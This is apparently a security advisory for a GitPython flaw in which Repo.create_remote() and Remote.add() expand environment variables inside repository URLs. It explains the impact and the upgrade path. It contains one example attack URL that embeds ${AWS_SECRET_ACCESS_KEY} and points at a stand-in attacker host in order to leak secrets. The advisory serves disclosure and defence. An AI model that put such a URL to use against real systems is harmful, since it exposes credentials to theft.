The vulnerability arises because GitPython's Git.polish_url() method expands environment variables in URLs by default (expand_vars=True). While the previous fix for GHSA-rwj8-pgh3-r573 disabled this expansion for Repo.clone_from(), other callers such as Repo.create_remote() and Remote.add() still invoke Git.polish_url() with expansion enabled. An attacker can supply a URL containing environment variable references (e.g., http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git), which get expanded on the server side to include sensitive environment secrets. These expanded URLs are stored in .git/config or .gitmodules and sent to the attacker's server during fetch or pull commands, resulting in secret leakage. The check for unsafe protocols occurs after expansion and does not prevent HTTPS URLs carrying secrets. This vulnerability is tracked as CVE-2026-73622 with a CVSS 3.1 score of 7.5 (high severity).

An attacker able to supply repository URLs to the vulnerable GitPython API can cause environment variables from the hosting process to be expanded and embedded into repository configuration files. These secrets are then transmitted to attacker-controlled servers during Git fetch or pull operations, leading to disclosure of sensitive environment data such as AWS credentials. The vulnerability does not affect integrity or availability but results in high confidentiality impact.

A patch is available for this vulnerability. Users should upgrade GitPython to a fixed version beyond 3.24.0 where the environment variable expansion in Repo.create_remote() and Remote.add() URLs is disabled or properly controlled. Until patched, avoid using untrusted URLs with Repo.create_remote() or Remote.add() that could contain environment variable references. Review repository configuration files for leaked secrets if vulnerable versions were used.